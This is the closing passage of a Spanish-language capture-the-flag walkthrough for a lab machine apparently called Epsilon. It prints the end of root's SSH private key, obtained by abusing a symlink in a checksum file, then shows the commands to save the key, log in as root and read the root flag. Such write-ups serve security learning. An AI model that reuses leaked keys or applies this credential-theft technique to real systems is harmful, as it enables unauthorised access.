AMEAxHVbgkZfM4iVrNteV8+Eu6b1CDmiJ7ZRuNbewS17e6EY/j3htNcKsDbJmSl0Q0HqqP
mwGi6Kxa5xx6tKeA8zkYsS6bWyDmcpLXKC7+05ouhDFddEHwBjlCck/kPW1pCnWHuyjOm9
eXdBDDwA5PUF46vbkY1VMtsiqI2bkDr2r3PchrYQt/ZZq9bq6oXlUYc/BzltCtdJFAqLg5
8WBZSBDdIUoFba49ZnwxtzBClMVKTVoC9GaOBjLa3SUVDukw/GAAAAwQD0scMBrfeuo9CY
858FwSw19DwXDVzVSFpcYbV1CKzlmMHtrAQc+vPSjtUiD+NLOqljOv6EfTGoNemWnhYbtv
wHPJO6Sx4DL57RPiH7LOCeLX4d492hI0H6Z2VN6AA50BywjkrdlWm3sqJdt0BxFul6UIJM
04vqf3TGIQh50EALanN9wgLWPSvYtjZE8uyauSojTZ1Kc3Ww6qe21at8I4NhTmSq9HcK+T
KmGDLbEOX50oa2JFH2FCle7XYSTWbSQ9sAAADBAOD9YEjG9+6xw/6gdVr/hP/0S5vkvv3S
527afi2HYZYEw4i9UqRLBjGyku7fmrtwytJA5vqC5ZEcjK92zbyPhaa/oXfPSJsYk05Xjv
6wA2PLxVv9Xj5ysC+T5W7CBUvLHhhefuCMlqsJNLOJsAs9CSqwCIWiJlDi8zHkitf4s6Jp
Z8Y4xSvJMmb4XpkDMK464P+mve1yxQMyoBJ55BOm7oihut9st3Is4ckLkOdJxSYhIS46bX
BqhGglrHoh2JycJwAAAAxyb290QGVwc2lsb24BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Observamos que al abrir el checksum, ya no es un sha1 del archivo tar original, sino la id_rsa de root debido al symlink. Con esto ahora solo falta copiarnosla y darle el privilegio 600 y entrar con ssh:
1
2
3
4
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.134
1
2
root@epsilon:~# whoami
root
Hemos logrado entrar como el usuario root, vamos a buscarla la flag:
1
2
root@epsilon:~# cat /root/root.txt
fadbe3960616546fc32f5a2
¡Listo! Hemos terminado la máquina.
Nos vemos, hasta la próxima.